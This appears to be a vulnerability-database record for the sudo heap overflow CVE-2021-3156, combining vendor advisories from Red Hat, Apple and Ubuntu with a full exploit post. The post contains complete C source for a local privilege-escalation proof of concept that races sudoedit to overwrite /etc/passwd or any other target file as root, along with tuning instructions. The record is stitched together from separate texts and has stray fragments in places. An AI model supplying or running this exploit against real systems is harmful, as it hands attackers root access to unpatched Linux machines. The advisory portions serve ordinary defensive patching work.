ID

VAR-202101-1926

CVE

CVE-2021-3156

TITLE

Red Hat Security Advisory 2021-0225-01

DESCRIPTION

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. 7.3) - x86_64 3. # Exploit Title: Local Privilege Escalation - LPE # Authors and Contributors: cts, help from r4j, debug by nu11secur1ty # Date: 30.01.2021 # Vendor: https://www.sudo.ws/ # Link: https://www.sudo.ws/download.html # CVE: CVE-2021-3156 [+] Credits: Ventsislav Varbanovski (@ nu11secur1ty) [+] Website: https://www.nu11secur1ty.com/ [+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021 [Exploit Program Code] // Exploit by @gf_256 aka cts // With help from r4j // Debug by @nu11secur1ty // Original advisory by Baron Samedit of Qualys // Tested on Ubuntu 18.04 and 20.04 & 20.04.01 // You will probably need to adjust RACE_SLEEP_TIME. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <pwd.h> // !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!! #define RACE_SLEEP_TIME 10000 char *target_file; char *src_file; size_t query_target_size() { struct stat st; stat(target_file, &st); return st.st_size; } char* read_src_contents() { FILE* f = fopen(src_file, "rb"); if (!f) { puts("oh no baby what are you doing :("); abort(); } fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); char *content = malloc(fsize + 1); fread(content, 1, fsize, f); fclose(f); return content; } char* get_my_username() { // getlogin can return incorrect result (for example, root under su)! struct passwd *pws = getpwuid(getuid()); return strdup(pws->pw_name); } int main(int my_argc, char **my_argv) { puts("CVE-2021-3156 PoC by @gf_256"); puts("original advisory by Baron Samedit"); if (my_argc != 3) { puts("./meme <target file> <src file>"); puts("Example: ./meme /etc/passwd my_fake_passwd_file"); return 1; } target_file = my_argv[1]; src_file = my_argv[2]; printf("we will overwrite %s with shit from %s\n", target_file, src_file); char* myusername = get_my_username(); printf("hi, my name is %s\n", myusername); size_t initial_size = query_target_size(); printf("%s is %zi big right now\n", target_file, initial_size); char* shit_to_write = read_src_contents(); char memedir[1000]; char my_symlink[1000]; char overflow[1000]; char* bigshit = calloc(1,0x10000); memset(bigshit, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL }; char *envp[] = { "\n\n\n\n\n", // put some fuckin newlines here to separate our real contents from the junk shit_to_write, "SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ", bigshit, NULL }; puts("ok podracing time bitches"); // Boom =) // for (int i = 0; i < 5000; i++) for (int i = 0; i < 3000; i++) { sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); sprintf(my_symlink, "%s/%s", memedir, myusername); puts(memedir); if (access(memedir, F_OK) == 0) { printf("dude, %s already exists, do it from a clean working dir\n", memedir); return 1; } pid_t childpid = fork(); if (childpid) { // parent usleep(RACE_SLEEP_TIME); mkdir(memedir, 0700); symlink(target_file, my_symlink); waitpid(childpid, 0, 0); } else { // child setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability execve("/usr/bin/sudoedit", argv, envp); // noreturn puts("execve fails?!"); abort(); } if (query_target_size() != initial_size) { puts("target file has a BRUH MOMENT!!!! SUCCess???"); system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'"); // ayy lmao return 0; } } puts("Failed?"); puts("if all the meme dirs are owned by root, the usleep needs to be decreased."); puts("if they're all owned by you, the usleep needs to be increased"); return 0; } [Vendor] Sudo [Vulnerability Type] Buffer Overflow Local Privilege Escalation [CVE Reference] Sudo before 1.9.5p2 has a Heap-based Buffer Overflow, allowing privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character. [Security Issue] Taking control of the Linux system Vulnerabilty version: before 1.9.5p2 [Video] https://www.youtube.com/watch?v=L-dEIYEQd1E [Conclusion and Fix] https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156 https://www.youtube.com/watch?v=zf8FXOFWZKs @nu11secur1ty https://www.nu11secur1ty.com/ . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ==================================================================== Red Hat Security Advisory Synopsis: Important: sudo security update Advisory ID: RHSA-2021:0222-01 Product: Red Hat Enterprise Linux Advisory URL: https://access.redhat.com/errata/RHSA-2021:0222 Issue date: 2021-01-26 CVE Names: CVE-2021-3156 ==================================================================== 1. Summary: An update for sudo is now available for Red Hat Enterprise Linux 7.7 Extended Update Support. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. 2. Relevant releases/architectures: Red Hat Enterprise Linux ComputeNode EUS (v. 7.7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.7) - x86_64 Red Hat Enterprise Linux Server EUS (v. 7.7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional EUS (v. 7.7) - ppc64, ppc64le, s390x, x86_64 3. Description: The sudo packages contain the sudo utility which allows system administrators to provide certain users with the permission to execute privileged commands, which are used for system management purposes, without having to log in as root. Security Fix(es): * sudo: Heap buffer overflow in argument parsing (CVE-2021-3156) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. 4. Solution: For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 5. Bugs fixed (https://bugzilla.redhat.com/): 1917684 - CVE-2021-3156 sudo: Heap buffer overflow in argument parsing 6. Package List: Red Hat Enterprise Linux ComputeNode EUS (v. 7.7): Source: sudo-1.8.23-4.el7_7.3.src.rpm x86_64: sudo-1.8.23-4.el7_7.3.x86_64.rpm sudo-debuginfo-1.8.23-4.el7_7.3.x86_64.rpm Red Hat Enterprise Linux ComputeNode Optional EUS (v. 7.7): x86_64: sudo-debuginfo-1.8.23-4.el7_7.3.i686.rpm sudo-debuginfo-1.8.23-4.el7_7.3.x86_64.rpm sudo-devel-1.8.23-4.el7_7.3.i686.rpm sudo-devel-1.8.23-4.el7_7.3.x86_64.rpm Red Hat Enterprise Linux Server EUS (v. 7.7): Source: sudo-1.8.23-4.el7_7.3.src.rpm ppc64: sudo-1.8.23-4.el7_7.3.ppc64.rpm sudo-debuginfo-1.8.23-4.el7_7.3.ppc64.rpm ppc64le: sudo-1.8.23-4.el7_7.3.ppc64le.rpm sudo-debuginfo-1.8.23-4.el7_7.3.ppc64le.rpm s390x: sudo-1.8.23-4.el7_7.3.s390x.rpm sudo-debuginfo-1.8.23-4.el7_7.3.s390x.rpm x86_64: sudo-1.8.23-4.el7_7.3.x86_64.rpm sudo-debuginfo-1.8.23-4.el7_7.3.x86_64.rpm Red Hat Enterprise Linux Server Optional EUS (v. 7.7): ppc64: sudo-debuginfo-1.8.23-4.el7_7.3.ppc.rpm sudo-debuginfo-1.8.23-4.el7_7.3.ppc64.rpm sudo-devel-1.8.23-4.el7_7.3.ppc.rpm sudo-devel-1.8.23-4.el7_7.3.ppc64.rpm ppc64le: sudo-debuginfo-1.8.23-4.el7_7.3.ppc64le.rpm sudo-devel-1.8.23-4.el7_7.3.ppc64le.rpm s390x: sudo-debuginfo-1.8.23-4.el7_7.3.s390.rpm sudo-debuginfo-1.8.23-4.el7_7.3.s390x.rpm sudo-devel-1.8.23-4.el7_7.3.s390.rpm sudo-devel-1.8.23-4.el7_7.3.s390x.rpm x86_64: sudo-debuginfo-1.8.23-4.el7_7.3.i686.rpm sudo-debuginfo-1.8.23-4.el7_7.3.x86_64.rpm sudo-devel-1.8.23-4.el7_7.3.i686.rpm sudo-devel-1.8.23-4.el7_7.3.x86_64.rpm These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/ 7. References: https://access.redhat.com/security/cve/CVE-2021-3156 https://access.redhat.com/security/updates/classification/#important https://access.redhat.com/security/vulnerabilities/RHSB-2021-002 8. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2021 Red Hat, Inc. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIVAwUBYBB99tzjgjWX9erEAQgQVQ//X+Q+jvAdxYbN9ruIQ3Jo6JJiWPeNgTlP BoC3V9xSxcGwug3b4CULSguc5WXJSSVPgaCX2qEM0UcqRH4FBnWjrCT/yYJItO/z wS59/V87IKzrgXFwo5hUEJylzjrFaDNGUG6+CAZ0Tdrn/esJn7juIhWJmPpJwwAW ecvSc+8Sfqw0YZnXoMK9vrzYzSgw6w+qMBZvPLAp2sU0/AbS/ZbALstu3YD/plpV TjkfrUoysx9Be7U8cT5pypzMTMtsrLngcUnMKUg2XsiblNFlVZ1s5XmuMB3mmhVM S87Q/ooV+cdKizCs0vVVzlMDYSDgJoxGExiR+A2WjmrxZuf5D2/DW59OpMyyIQBB /Qlz6PWhQis9B+RsMHbE8eYUtIKaLm162wjQ+zSeyQombOWy1sNtMLL7ulZMoU3F hnkq6by3mn6iVorkRPIpRLD1lNnrdNIGLuNowKUTza8kRgL4zrXBypl+m+k8z38P GK2Svl+VblTaSQXLns8WV5hv4b2EvRWkY1rJ5iU6+JOCRg4cvy2E5VoFQFLSs02z Lftry/YcnPl4XzJOlI3+uSD/oENN8EqGKNrxaKjdfEfgbBQbUkX5OeUGDMO41Qb1 EVE8TVHhNqyVHdjeHS/4cC/gHaJVOKRmkwXxd2XyUsAI4j8pMZBVgdd9LnnwmhGk ymZ0tXTXCjg=mSfw -----END PGP SIGNATURE----- -- RHSA-announce mailing list RHSA-announce@redhat.com https://www.redhat.com/mailman/listinfo/rhsa-announce . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 APPLE-SA-2021-02-09-1 macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update, and macOS Mojave 10.14.6 Security Update 2021-002 macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update, and macOS Mojave 10.14.6 Security Update 2021-002 addresses the following issues. Information about the security content is also available at https://support.apple.com/HT212177. macOS Big Sur 11.2.1, macOS Catalina 10.15.7 Supplemental Update*, macOS Mojave 10.14.6 Security Update 2021-002 Intel Graphics Driver Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7 Impact: An application may be able to execute arbitrary code with kernel privileges Description: An out-of-bounds write was addressed with improved input validation. CVE-2021-1805: ABC Research s.r.o. working with Trend Micro Zero Day Initiative Intel Graphics Driver Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition was addressed with additional validation. CVE-2021-1806: ABC Research s.r.o. working with Trend Micro Zero Day Initiative Sudo Available for: macOS Big Sur 11.2, macOS Catalina 10.15.7, macOS Mojave 10.14.6 Impact: A local attacker may be able to elevate their privileges Description: This issue was addressed by updating to sudo version 1.9.5p2. CVE-2021-3156: Qualys * After installing this update, the build number for macOS Catalina 10.15.7 is 19H524. ========================================================================== Ubuntu Security Notice USN-4705-2 January 27, 2021 sudo vulnerability ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 14.04 ESM - Ubuntu 12.04 ESM Summary: Several security issues were fixed in Sudo. This update provides the corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM. Original advisory details: It was discovered that Sudo incorrectly handled memory when parsing command lines. A local attacker could possibly use this issue to obtain unintended access to the administrator account. (CVE-2021-3156) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 14.04 ESM: sudo 1.8.9p5-1ubuntu1.5+esm6 Ubuntu 12.04 ESM: sudo 1.8.3p1-1ubuntu3.10 In general, a standard system update will make all the necessary changes. 8) - aarch64, ppc64le, s390x, x86_64 3

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

local

TYPE

overflow, root

EXPLOIT AVAILABILITY

EXTERNAL IDS

REFERENCES

CREDITS

Red Hat

SOURCES

LAST UPDATE DATE

2026-08-08T23:06:34.892000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE